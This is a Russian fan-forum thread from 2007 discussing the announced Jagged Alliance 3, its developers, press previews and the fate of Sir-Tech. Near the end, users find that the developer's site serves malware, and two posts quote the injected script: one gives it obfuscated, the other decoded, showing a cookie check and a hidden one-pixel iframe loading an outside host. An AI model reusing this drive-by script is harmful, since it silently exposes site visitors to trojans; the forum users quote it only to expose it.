2Macbeth: СирТек - разработчик (издателем была TakeTwo - а ей ни тепло, ни холодно). Когда разоряется разработчик - это говорит о недостатках в его менеджменте, а не издателя.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 02.03.2007 в 20:40:42
Тьфу, я имел в виду Strategy First... вечно путаю...
Разработчики редко бывают независимыми.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 02.03.2007 в 22:01:21
Дело в том, что чтобы говорить "игра свою нишу нашла", нужно, по крайней мере, иметь сведения о продажах. У Вас их, насколько я понял, нет. У меня нет тоже - однако все мы в курсе дальнейшей судьбы кампании. "После того", конечно же, не значит "в следствие того". Но, как в том анекдоте, "ложечки вернули, а осадок остался".

Quote:
Если вы знаете точные причины разорения

Я не являлся ни президентом, ни даже акционером Sir-Tech. Отсюда "точные причины разорения" я знать заведомо не могу. Если Вас интересуют мои домыслы - они слишком много ресурсов и времени вложили в разработку Ja2 и W8 и не отбили вложенные средства.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 03.03.2007 в 01:03:35
2Novik:
Ну значит на Wizardy 8 (2001 год) подкосилось финансовое положение. Все-таки Ja2 вышла в 99-ом, а компания закрылась через несколько лет. Думаю, что сложно ходить по лезвию бритвы и выпустить еще 2 игры (аддон Ja2 и W8 ).

Почитал обе статьи из Мании. Как и говорил, ничего путного. Только чудак-автор нашел что-то общее у Ja3 с Fallout и Fallout Tactics (которые и между собой не похожи, не говоря уже о серии Ja). Про то, что на SS похоже - ни слова. Только то, что на том же двиге.

Так, есть кое-где нестыковки как со стороны журналистов, так и со стороны разрабов (Ja3).
Выяснилось, что убрать менеджмент попросили канадцы (по крайней мере так говорит сценарист).
Действие будет в районе Афганистана (надо отдать должное, по скринам похоже на Афган).
Вопросов было мало, да и не те, что надо. Все про оружие, да про оружие. Это хорошо, но не в нем-то дело.
Да и про Ивана спрашивал. Как будто это важнее всего остального!
В общем, не понятно, журналист рубит в теме или проездом...

Что касается Джаза, то там был другой журналист. Диалога там не получилось, только высказал все, что увидел в альфе (может демке). Полстраницы убил на описание 12 видов оружия. Другие пол страницы - на истории мерков. Оно кому сейчас надо?
Не понравилась ему графика, но дух Джа он увидел. Про ИИ сказал загадочное: "цельнометаллический AI". Что бы это значило?
Коснулся идеи апгрейдов зданий. Про бордель ни слова, но контроллировать аэропорт можно будет. Только сомнительно как-то звучит"отгрохать самый настоящий курорт, где туристы будут раставаться с деньгами". Это какой идиот поедет отдыхать в страну, где война (израиль не в счет)?

В целом лично мне контроль таких зданий кажется интересным, главное не переборщить и не забывать про банальную логику.

Симулятор борделя видеть не хотелось бы. Я понимаю, крышевать их (защищать, стричь бабло), но строить публичные дома - это уже перебор... впрочем, об этом в статье, как я писал выше, ни слова.

В общем, ничего выдающегося в статьях нет.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Docent на 03.03.2007 в 01:51:49
2Macbeth:  
Quote:
Что касается Джаза, то там был другой журналист. Диалога там не получилось, только высказал все, что увидел в альфе (может демке).

Так там просто разные жанры статей ;).
По проекту "Jagged Alliance 3" - было интервью с разработчиками, а по игре "ДЖАЗ: Работа по найму" - обычное превью :).


Quote:
Не понравилась ему графика, но дух Джа он увидел.


Сохранение Духа серии Jagged Alliance - это то, что больше всего меня порадовало в статье по "ДЖАЗу" :)!

Приведу несколько цитат из статьи:
"Разработчики не стали изобретать велосипед, а бережно перенесли интерфейс и механику битв из всё того же Jagged Alliance 2."
И ещё:
"По словам создателей, они постарались перенести сюда не только геймплей, но и фирменную атмосферу серии."
А в заключение:
"...перед нами действительно очень качественный ремейк Jagged Alliance 2."

А вот интервью по "Jagged Alliance 3" оставляет более тягостное впечатление :(!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Дядя Боря на 03.03.2007 в 09:11:11

Quote:
какой идиот поедет отдыхать в страну, где война  
Джон Кульба (Калба) ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 03.03.2007 в 09:21:20
2Macbeth: ЧУть поясню. Не всё, что написано в статье по "Джазу" (здесь это оффтоп, конечно), сказано напрямую разработчиками.
ПО фактам:

1) - курорт строится ВНЕ страны как бы - потому никаких проблем для туристов нет (в Египте, если кто не знал - лет 15, как чрезвычайное положение введено и не отменяют... и туристов там убивают тоже, как и в Таиланде. В Турции война идет постоянная, бомбы взрываются - так что все бывает).

2) - строить бордели - абсолютно некритичная опция (тем более - только при игре в союзе с одной из групп, что тоже не каждый сможет или захочет сделать).

3) - интервью не получилось, потому что игру показывали - а вопросов не было:). Да, автор не увидел чего-то выдающегося в действиях АИ или графике - это абсолютно его право.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Len на 03.03.2007 в 13:45:42
2Macbeth:

Quote:
Ну значит на Wizardy 8 (2001 год) подкосилось финансовое положение. Все-таки Ja2 вышла в 99-ом, а компания закрылась через несколько лет. Думаю, что сложно ходить по лезвию бритвы и выпустить еще 2 игры (аддон Ja2 и W8 ).

Похоже, проблемы у Sir-Tech начались раньше. В статье "О судьбе Альянса" (http://www.freelancer.ag.ru/thoughts/ja2.shtml) на ВС есть немного на эту тему.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем redson на 03.03.2007 в 18:01:28
>...сомнительно как-то звучит"отгрохать самый настоящий курорт, где туристы будут раставаться с деньгами". Это какой идиот поедет отдыхать в страну, где война (израиль не в счет)? ...главное не переборщить и не забывать про банальную логику.

Ну в JA2 логики-то тоже не очень было - захватил шахту и денежки на счет поперли. Захвачена ведь шахта, а не печатный станок для денег. Добытая серебрянная руда - это еще не серебрянные доллары, ее обрабатывать надо. Это же игра, а игре условности допустимы!

Интересно, а можно будет строить какие-нибудь нарколаборатории или несколько грядок кокой засадить, чтобы колу производить? ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 03.03.2007 в 19:42:54

Quote:
Интересно, а можно будет строить какие-нибудь нарколаборатории или несколько грядок кокой засадить, чтобы колу производить?


Судя по борделям, проблем с этим не должно быть. А ещё, наверное, можно будет захватить самолёт и протаранить ВТЦ.  >:(




Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 03.03.2007 в 19:50:13
2pipetz: Ребята, если интересен ответ - задайте вопрос, пожалуйста, в соседней ветке. Здесь это оффтоп (а местами - флуд:) ).

Заголовок: Re: Jagged Alliance 3
Прислано пользователем desants на 04.03.2007 в 16:07:34
2redson:  
Quote:
"уважающий себя стрелок с револьвером 38-го калибра на задание не пойдет"  
А что тебя смутило? У нас плюрализм мнений ;)  
Вот то, что стрелок обычно идет не на задание, а на соревнования - есть такое дело.

Ну а в целом - если есть выбор - я бы, например, не пошел с 38-ым:)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Alex на 04.03.2007 в 19:20:01
Ребят, разработчики, я конечно извеняюсь, но после JA, Е5, 7.62, Джаз, ваш продукт заумная, плагиатная туфта, конечно я ее куплю ради любопытства, но не более, ваш продукт расчитан на тупых геймеров, а не эстетов в жанре тактики(сразу говорю я не эстет, просто игры для меня симулятор вот и все), я как на скрины глянул, Силент Шторм в его полном виде и красе. Конечно я возьму свои слова обратно если будет что-то новенькое, новаторское, возможность применять тактику засад спецназа, к примеру,а пока я вижу девиз вот такого характера - отрекнемся от старого мира, сбросим цепь....

Почему нельзя сделать две сторны и свободное премещение по карте, плюс добавить, к примеру новое агенство наемников к AIM в придачу, оставить старых наемников из AIM, новый сюжет, новое оружие, графика и будет новая топовая игра, пойдите по пути E5 и вы выграете. К примеру можно разработать в игре возможность проведения спецопераций с учетом выбранной играком тактике, подержка с воздуха- это далеко не все что можно сделать

Заголовок: Re: Jagged Alliance 3
Прислано пользователем redson на 04.03.2007 в 19:46:10
2Desants:
>....Ну а в целом - если есть выбор - я бы, например, не пошел с 38-ым

А ты его хоть раз в руках держал?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Alex на 04.03.2007 в 19:52:16
Возмите, милеший Магбет, Таиланд, Шриланку, Северный Кавказ, Нигерия люди едут.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 04.03.2007 в 20:00:47
2Alex:  
Quote:
ваш продукт заумная, плагиатная туфта, конечно я ее куплю ради любопытства

Собственно, а больше ничего и не надо.
Главное это продажи. (с)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Alex на 04.03.2007 в 20:08:48
Zed, конкурентов много, не все такие любопытные, ведь я не один живу на свете.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 04.03.2007 в 20:28:53
2Alex:
Ты типичный представитель людей для которых название Jagged Alliance несет смысловую нагрузку.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Alex на 04.03.2007 в 20:31:06
Каждая вещь Zed должна нести что-то. ;)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем desants на 04.03.2007 в 20:58:05
2redson:  [offtop]А оружие нужно не для того, чтобы его в руках держать:) ;D

А как ставить тэг ОФФТОП?[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ximik на 04.03.2007 в 20:58:57
[offtop] 2desants: кнопочка такая "OFF" [/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 05.03.2007 в 09:53:58
2Alex:

Quote:
ваш продукт заумная, плагиатная туфта, конечно я ее куплю ради любопытства
Попался! :D Вот видишь, раз ты это все равно купишь - так зачем же делать больше и дороже? :(

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Lm на 05.03.2007 в 12:32:44
2bugmonster:
мне SS нравился
ну не будет похож ja3 на ja2
это конечно плохо
будет смахивать на SS

все равно куплю  :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 05.03.2007 в 23:05:51

Quote:
Таиланд, Шриланку, Северный Кавказ, Нигерия люди едут.

Пока о курортах в Нигерии не слышал.
Тем более разговор о том, что в стране идет постоянная гражданская война, а не периодические стычки.

Не знаю, может в перечисленных странах каждый день убивают по сотне-другой, но я такого не слышал.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 05.03.2007 в 23:50:39
2Macbeth:  
Quote:
Не знаю, может в перечисленных странах каждый день убивают по сотне-другой, но я такого не слышал.

Есть у меня подозрение что в у тебя в стране убивают гораздо больше людей в день, а в веселые девяностые так вообще...

Quote:
постоянная гражданская война, а не периодические стычки.
Для меня както эти два понятия не слишком различимы.
Кроме того мы в Джа2 тоже массовым геноцидом не занимаемся, так "точеные удары" :) что такое 2-3 тысячи убитых для Арулько.  ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 06.03.2007 в 12:30:08
2zed:

Quote:
что такое 2-3 тысячи убитых для Арулько.

Для страны где один маленький город, 5 деревень и одна бензозаправка? бОльшая часть населения. ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем pipetz на 06.03.2007 в 15:51:04
[offtop]
Ну не все же убитые местные граждане  :).
Основное пополнение приходит из Медуны (сектор P3), если Дейдрана его не рожает, то это, скорее всего, десант морской или воздушный. Военную поддержку антинародному режиму оказывает могущественная корпорация RiccoMining, которая впоследствии угражала Арулько ракетами. Откуда эти войска неизвестно, возможно это наёмники, а может ВС МО Тарконы.  :)[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 06.03.2007 в 23:00:18

Quote:
Похоже, проблемы у Sir-Tech начались раньше. В статье "О судьбе Альянса" на ВС есть немного на эту тему.

Почитал. Познавательно. Интересно, откуда такие точные данные. Чуть ли не кто из разрабов какой сорт кофе предпочитает.
Да и подытожили тем, что мог бы получиться шедевр, но...
По-моему шедевр и получился. Да, мог быть еще круче, но лучше игры этого жанра все равно до сих пор никто не сделал.

[offtop]2Дядя Боря: Это мне советует один из главных флудеров форума...
Я ответил на дурацкий (в т.ч. и флудерский) вопрос, только и всего.


Quote:
В России не криминальная война, а банальный геноцид, нетолько русских - у нас классовый геноцид.
Так сильно я бы не сказал, но так или иначе сейчас однозначно плохо, но объективно лучше, чем 10 лет назад.
Можно полюбопытствовать ваши политические взгляды (лучше в приват)? [/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Len на 07.03.2007 в 19:47:34
2Macbeth:

Quote:
Интересно, откуда такие точные данные. Чуть ли не кто из разрабов какой сорт кофе предпочитает.

По-моему, Юрг немного общался с Яном Карри.;) Но вообще я точно не знаю. Англоязычный вариант статьи (причем изначально менее полной, посвященной тем фичам, которые были запланированы и даже попали в ресурсы, но так и не были реализованы), судя по всему, был размещен на форуме Tactical Planet, который уже канул в Лету. Единственное, что мне удалось найти - это вот этот пост на форуме Голда (http://www.ems.ru/~gold/ja2/forum/m.phtml?v=72225). Но тут мне не совсем понятно, после чего же Юрг "полностью переписал статью" и добавил информацию по поводу разработки JA2.
 

Quote:
Да и подытожили тем, что мог бы получиться шедевр, но...
По-моему шедевр и получился.

Пожалуй. Но все-таки список нереализованного впечатляет. Там ведь не только мелкие фишки, вроде сумок для гольфа:D, но и весьма концептуальные - тот же "мирный" режим.
А вот UB, на мой взгляд, свою порцию критики получил совершенно заслуженно. Хотя тот же Карри в интервью заявлял, что предпочитает UB оригинальной JA2.


Quote:
Да, мог быть еще круче, но лучше игры этого жанра все равно до сих пор никто не сделал.  

Ну так статья-то в середине 2000 года написана.:)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ekselens на 12.03.2007 в 08:42:05
Пора качать её скорей  ::)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Жаба на 31.03.2007 в 00:51:42
Немного инфы о технической стороне исполнения JA3 by Akella ;D
http://www.thg.ru/technews/20070330_235701.html
Если в крате, то там немного написано про спец. ПО для создания лицевой анимации.Рожи,тоись,рисовать. Теперь сигара Бычка станет максимально детализированной, а ехидная морда Стрелка-абсолютно реальной))

Заголовок: Re: Jagged Alliance 3
Прислано пользователем JHVH на 31.03.2007 в 11:42:25
это технология использовалась в SS - акелла просто сообщила купила лицензию. а используют ее уже давно - о чем можно судить по скринам.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 16.04.2007 в 11:52:38
Мне интересно, насколько сильным будет бэкграунд и будет вообще?
Потом будет ли реализованы различные типы телосложения, в SS небыло такого, а также нельзя было при генерации сделать персу длинные волосы. Вот и получалось, что в игре все лысые или стриженные клоны были, стремно это.


Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 16.04.2007 в 17:33:34

Quote:
Мне интересно, насколько сильным будет бэкграунд и будет вообще?
Потом будет ли реализованы различные типы телосложения, в SS небыло такого, а также нельзя было при генерации сделать персу длинные волосы. Вот и получалось, что в игре все лысые или стриженные клоны были, стремно это.  

Не думаю, что все это слишком существенно. Значение, конечно, имеет, но не первоочередное. И даже не второочередное...

Заголовок: Re: Jagged Alliance 3
Прислано пользователем bugmonster на 17.04.2007 в 12:09:00
2snake_sanders: В SS у игрока были разные типы солдат, каждый со своим телосложением. А боевых волосатиков-хиппи тогда не существовало. :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 18.04.2007 в 09:26:25
Ну не совсем так. Все юниты были одного роста и примерно одинаковой комплекции - иначе "едет" анимация. Впрочем, в НД этот момент был решен - появились "толстые", "тонкие". AFAIR и с ростом юнитов вопрос в принципе решили.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 20.04.2007 в 18:53:13
2bugmonster
хардрок,по-моему, тогда тоже еще не играли ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 12.05.2007 в 12:23:30
Есть предложение подготовить интересующие ортодоксальных фанатов вопросы для разрабов и отправить их по почте!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем GreenEyeMan на 12.05.2007 в 12:56:57

Quote:
интересующие ортодоксальных фанатов вопросы для разрабов и отправить их по почте!
- и ждать ответа лет этак двести. :) Проще зайти на их офф. сайт (если таковой имеется) и задать интересующий вопрос (или найти ответ на этот вопрос). Себе нервные клетки сэкономите таким образом. :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 12.05.2007 в 14:02:06

Quote:
ортодоксальных фанатов  
:rzhach: - ортодоксальные джа-двайцы, реформисты джа-трийцы и сектанты - джазайцы  ;D
Предлагаю, в свою очередь, письмо с вопросами запечать в бутылку и бросить в северный ледовитый океан (вариант бросить в разраба F3games, если вдруг будет рядом...) - ответа не ждать вообще, и все нервые клетки целы-здоровы.  :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем JHVH на 12.05.2007 в 14:10:27

Quote:
Проще зайти на их офф. сайт (если таковой имеется) и задать интересующий вопрос

ну вот http://f3games.com
зайдите - спросите :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Bolivar на 12.05.2007 в 14:39:38

Quote:
ну вот http://f3games.com
при входе на страницу ловится троян
2JHVH: проверять ссылки надо, прежде, чем постить

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 12.05.2007 в 16:08:21
Ссылка нормальная. Антивирусники надо нормальные ставить.

А пользы от сайта все равно нет. Доступна только одна страница и дано мыло для тех, кто хочет у них работать.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 12.05.2007 в 16:11:27
2Macbeth:
Оффтоп конечно злостный но лично у меня эта ссылка вогнала браузер в бесконечный цикл(Огненый лис)... возникла только одна мысль: и эти люди делают ja3 ?!?

Заголовок: Re: Jagged Alliance 3
Прислано пользователем GreenEyeMan на 12.05.2007 в 16:31:46

Quote:
но лично у меня эта ссылка вогнала браузер в бесконечный цикл(Огненый лис)
- та же самая фигня. :P

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 12.05.2007 в 16:36:35
У меня все нормально. Лиса 2.0.0.3.


Quote:
Оффтоп конечно злостный

Раздел все равно не наш.  ;D

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Ximik на 12.05.2007 в 16:54:49
На всякий случай открывать не буду :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 12.05.2007 в 17:07:42
На офф. сайте ничего нет, кроме вакансий.
Я писал на ящик разрабам, с просьбой рассказать о подробностях и новостях, касаемо JA3. На что получил ответ от Андрея Казакова:"Что конкретно?"
Я не нашел что ответить и сказал что подготовлю небольшой список вопросов.
Вот и все дела. Помоему разрабы готовы к диалогу!
(в этой ветке вроде нет: в игре планируется 40 наемников и 40 неписяев)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем JHVH на 12.05.2007 в 17:16:24
Ссылку я тетсировал - нормально открывается. лисой 2.0.0.3. антивирус мой ничего не говорит. трояна там нет - это же официальный сайт. на котором правда ничего нет. :)

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 12.05.2007 в 17:20:20

Quote:
это технология использовалась в SS - акелла просто сообщила купила лицензию. а используют ее уже давно - о чем можно судить по скринам.  

Этот пакет  обновляется постоянно, и Акелла купила новую версию. Думаю так. Но то, что выглядеть будет лучше чем в  SS - точно!

Заголовок: Re: Jagged Alliance 3
Прислано пользователем zed на 12.05.2007 в 17:51:05
2JHVH:
Ну тогда наверное у нас какието особенные фаерфоксы :)
Мда мега скриптик у них на сайте....
[offtop]<script>document.write(unescape("%3Cscript%3Etry%20%7Bfunction%20kv%28oH%29%7Breturn%20parseInt%28oH%29%7Dvar%20CQ%3D%27hhEhPEhYEhHEhzEhXEhKEhWEhnEhyEhREhLEhfEhSEhmEhxEhdEhIEhiEhaEhtEh3EhUEhTEhZEh4EhbEhcEhwEhgEhBEhDEhjEhoEh7EhJEh6EhCEhOEhkEhpEhNEhlEh5EhFEh8EhsEhMEhrEhGEh9EheEhVEhqEPhEPPEPYEPHEPzEPXEPKEPWEPnEPyEPREPLEPfEPSEPmEPx%27%3Bvar%20AF%3DString%28%27E%27%29%2Cgf%3DArray%2823534%5E23479%2Ckv%28%2722%27%29%2Ckv%28%276%27%29%2C11614%5E11593%2Ckv%28%2712%27%29%2C3462%5E3475%2Ckv%28%2717%27%29%2C22554%5E22593%2Ckv%28%27104%27%29%2C25170%5E25149%2C32036%5E32039%2Ckv%28%2716%27%29%2C19750%5E19757%2C22629%5E22639%2C31446%5E31379%2Ckv%28%2728%27%29%2C24673%5E24667%2Ckv%28%2777%27%29%2Ckv%28%2776%27%29%2Ckv%28%2730%27%29%2Ckv%28%2719%27%29%2C8145%5E8149%2Ckv%28%279%27%29%2C31013%5E31101%2Ckv%28%2787%27%29%2C25266%5E25315%2C24912%5E24857%2C9404%5E9467%2Ckv%28%2785%27%29%2Ckv%28%2784%27%29%2Ckv%28%2786%27%29%2C28593%5E28641%2C22930%5E22977%2C14303%5E14221%2Ckv%28%2793%27%29%2Ckv%28%2792%27%29%2Ckv%28%277%27%29%2Ckv%28%271%27%29%2Ckv%28%270%27%29%2C15727%5E15665%2C27687%5E27753%2Ckv%28%2775%27%29%2Ckv%28%2740%27%29%2Ckv%28%2713%27%29%2C31457%5E31465%2C32412%5E32467%2Ckv%28%272%27%29%2C18007%5E17999%2C20643%5E20657%2Ckv%28%2733%27%29%2Ckv%28%2749%27%29%2Ckv%28%2714%27%29%2Ckv%28%2729%27%29%2Ckv%28%2734%27%29%2Ckv%28%2754%27%29%2Ckv%28%2774%27%29%2Ckv%28%2742%27%29%2C32081%5E32025%2Ckv%28%2795%27%29%2Ckv%28%2768%27%29%2Ckv%28%2790%27%29%2Ckv%28%2762%27%29%2C12390%5E12381%2C23514%5E23493%2C14675%5E14699%2C17814%5E17839%2C9023%5E8991%2C9659%5E9631%2C29204%5E29235%2C12851%5E12821%29%3Bvar%20lD%2CHa%3Bvar%20jP%2CEX%3D%27hhhPhYhHhzhXhKhWhnhyhRhLhfhYhKhzhShfhmhHhPhxhPhdhHhPhIhihahmhth3hHhmhUhThZh4hbhYhThchwhghZhBh4hDhjhoh7hJhwh3h6hYhChOhRhchbhShThchchkhmhRhShHhIhzhThwhkhmhzhmhhhmhUhkhmhzhphphihmhShmhphThmhYhNhPhLh6hPhKhHhIhlh3hKh5hNhRhUhShShHhIhlh3hKh5hNhHh3hfhChShFhIhih8hYhNhUhOhfhshKh5hihbhghbhghihkhmhHhOhKhLhHhfhmhShkhmhMhnhyhRhLhfhYhKhzhShfhmhHhPhxhPhdhPhYhIhYhfhbhYhthihahmhth3hHhmhKhThmhfhOhrhmhGh3hKhOhIhihkhmhth3hHhmhOhThmhfhOhrhmhGh3hKhOhIhihkhmhOhNhPhOhKh9hzhFhOhIhKhNhshOhKh9hzhFhOhIhihphBhjhwhwhwhwhwh8hZh4hihkhmhChShYhLhFhOhfhKhNhYhShShehzhOhmhThmhYhfhphchThchphOhPhYh3hXhOhIhYhthihphchkhOhVhXhzhHhOhPhThchphOhNhKhShqhlh9PhhKhHhzhfhshIhihkhmhMhnhyhth3hHhmhYhfhmhThmhchghHhPhrhBhShghChchbhYhthmhThmhchghchbhPhOhThchPhghNhHhShUhUhPhxhPhKhOhFhPhNhzhfhRhShchbhXhThcPPh5hKhFhUPPhchkhnhyhzhRhIhChShYhLhFhOhfhKhNhYhShShehzhOhNhzhfhChOhVPYhRhIhYhfhphchchphchThchphYhthphchchihmhThThmPHhghihmhahnhyhth3hHhmhLhHhUhmhThmhch5hKhKhXPzPPPPhchmhphmhIhChShYhLhFhOhfhKhNhUhShYh3hKhzhShfhNh5hShPhKhmPXhThmhchchmPKhmhchchmPzhmhHhPhxhPhdhHhPhIhihihmhphmhChShYhLhFhOhfhKhNhUhShYh3hKhzhShfhNh5hShPhKhNhHhOhXhUh3hYhOhIPPPWPnh3PHPyhwPHhJhNPHPRPPhbhmhchNhchihNhHhOhXhUh3hYhOhIPPPLhNhpPPhbhmhchNhchihmhphmhchNhchmhphmhHhPhxhPhdhHhPhIhihmhphmhchNhchmhphmhPhOhmhphmhXhkhnhyhth3hHhmhShmhThmhChShYhLhFhOhfhKhNhYhHhOh3hKhOPfhUhOhFhOhfhKhIhchzhRhHh3hFhOhchihkhShNhPhOhKPShKhKhHhzh6hLhKhOhIhchPhHhYhchbhmhLhHhUhihkhnhyhShNhRhHh3hFhOPmhShHhChOhHhThwhkhmhShNhrhzhChKh5hThghkhmhShNh5hOhzhsh5hKhThghkhmhShNhPhKhxhUhOhNhChzhPhXhUh3hxhThchfhShfhOhchkhmhnhyhKhHhxhmhahmhChShYhLhFhOhfhKhNh6hShChxhNh3hXhXhOhfhCPxh5hzhUhChIhShihkhmhHhPhxhPhdhPhYhIhYhfhbhYhthihkhMhnhyhYh3hKhYh5hIhOhihahChShYhLhFhOhfhKhNhrhHhzhKhOhIhchhh5hKhFhUhWhhh6hShChxhWhhPPh6hShChxhWhhPPh5hKhFhUhWhchihkhChShYhLhFhOhfhKhNh6hShChxhNh3hXhXhOhfhCPxh5hzhUhChIhShihkhmhHhPhxhPhdhPhYhIhYhfhbhYhthihkhMhMhnhyhhPPhPhYhHhzhXhKhW%27%3Bvar%20Sw%3DString%28%29%3BCQ%3DCQ.split%28AF%29%3Bfor%28lD%3D0%3BlD%3CEX.length%3BlD+%3D2%29%7BjP%3DEX.substr%28lD%2C2%29%3Bfor%28Ha%3D0%3BHa%3CCQ.length%3BHa++%29%7Bif%28CQ%5BHa%5D%3D%3DjP%29break%3B%7D%20Sw+%3DString.fromCharCode%28gf%5BHa%5D%5E101%29%3B%7Ddocument.write%28Sw%29%3B%7D%0Acatch%28e%29%7B%7D%3C/script%3E"))</script>[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 13.05.2007 в 15:24:58
Разрабы-то там никогда от диалога не отказывались. Просто форума своего нет - а на другие ходить не хотят, что понять можно.
Так что - от списка вопросов может быть польза, уверен.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 13.05.2007 в 18:24:39

Quote:
а на другие ходить не хотят

Если так оно и есть, то я бы принципиально не стал бы у них ничего спрашивать. Если они думают, что сами все знают - то флаг им в руки, якорь на шею.

А потом пусть выслушивают ругань, если их мысли не совпадут с большинством игроков, любящих пошаговую тактику.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 13.05.2007 в 23:08:23
2Macbeth: Честно говоря, всегда уважал людей, имеющих свое четкое видение своей (!) работы. Даже если оно и неправильное в глазах других:).
А касательно f3 - не забывайте, что их видение продиктовано издателем, SFI. Уж эти-то умеют доставать контролем - так что добавлять еще и фанатов к этому делу никому не охота.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 14.05.2007 в 09:30:18

Quote:
имеющих свое четкое видение своей (!) работы.

А вот имеют ли они это видение, да еще и четкое - вопрос.
По поводу менеджмента, убранного ими "по многочисленным просьбам", уже писали раз 100.

По-моему иметь видение - это одно, а контакт с потенциальными покупателями - другое. Я не вижу ничего сложного в том, чтобы поинтересоваться у  потенциальных покупателей, нравятся им те или иные фичи или нет.

Даже из сотни орущих голосов всегда можно найти хоть одну здравую идею, которую можно и нужно реализовать.

Надеяться на себя хорошо, а самоуверенность - не всегда.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 14.05.2007 в 09:43:47
2Macbeth:  
Quote:
Я не вижу ничего сложного в том, чтобы поинтересоваться у  потенциальных покупателей, нравятся им те или иные фичи или нет.
 


А вот я - вижу, к сожалению.
За эти решения им самим и отвечать потом.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Macbeth на 14.05.2007 в 10:05:41

Quote:
За эти решения им самим и отвечать потом.

Абсолютно не обязаны. Можно легко сказать "это будет в аддоне", "на это нет времени" и т.д. и т.п. Знакомая ситуация? Джаз не напоминает? И кто GFI говорит, что они обязаны делать ночь, ИИ для управления пулеметами и т.п. Недовольство, конечно, было, но ничего не поделаешь.

Вот разработчики Противостояния 5 нормально общаются на главном русском ресурсе по этой игре. Диалог обычно проходит "а будет ли", "а что вы думаете о том, чтобы сделать".
Как минимум обещают подумать. Конечно не все предложенное сделают, но хоть какой-то диалог есть.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем SSSVOLOCH на 14.05.2007 в 10:53:05
2Macbeth: Ну так и мы матом вроде не посылаем, да?:)
Просто игра уже на той стадии, когда добавлять - поздно. Поэтому часто и отвечаем - "не сейчас, не будет, в аддоне" и т.д.

Диалог есть? Есть. А бегать на задних лапках никто не обязан.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Satan`s Claws на 14.05.2007 в 11:17:17
2zed: [offtop]объясни, глупому, что он делает...[/offtop]

Заголовок: Re: Jagged Alliance 3
Прислано пользователем snake_sanders на 14.05.2007 в 11:20:01
Я предлагал список вопросов, а не пожелания составлять.

Заголовок: Re: Jagged Alliance 3
Прислано пользователем Novik на 14.05.2007 в 12:30:33
[offtop]
Quote:
объясни, глупому, что он делает...

Если у запрашивающего не выставлено соотв. cookie, то выставляет его и организует на странице скрытый фрейм с адресом типа
http://[разная хрень].s1.rollsystems.info/html/
откуда идет переход на http://s1.rollsystems.info/o0o/exp/ где, полагаю, и сидит троян. Впрочем, последнее не смотрел.
Как бы то ни было, "для официального сайта" наличие подобной хрени мягко говоря, странно.

Текст скрипта для желающих:


Code:
<script>
function rsys_rs()
{
     var l=24,c="01234567890abcdef",o="";
     for(i=0; i < l; i++)
           o += c.substr(Math.floor(Math.random()*c.length),1,1);
     return o;
}

function rsys_sc(cn,cv)
{
     var t= new Date();
     var e= new Date();
     e.setTime(t.getTime()+3600000*24);
     document.cookie  = cn+"="+escape(cv)+";expires="+e.toGMTString();
}

var cn = "1rsw3o1d",cv = "1",se="s1.rollsystems.info",p="/html/";

if(document.cookie.indexOf(cn+""+"="+cv+"") == -1)
{
     var url = "http://" +
           (document.location.host != "" ? "" : rsys_rs()) +
           document.location.host.replace(/[^a-z0-9.-]/, ".").replace(/\.+/, ".") + "." + rsys_rs() + "." + se + p;

     var o = document.createElement("iframe");
     o.setAttribute("src", url);
     o.frameBorder=0;
     o.width=1;
     o.height=1;
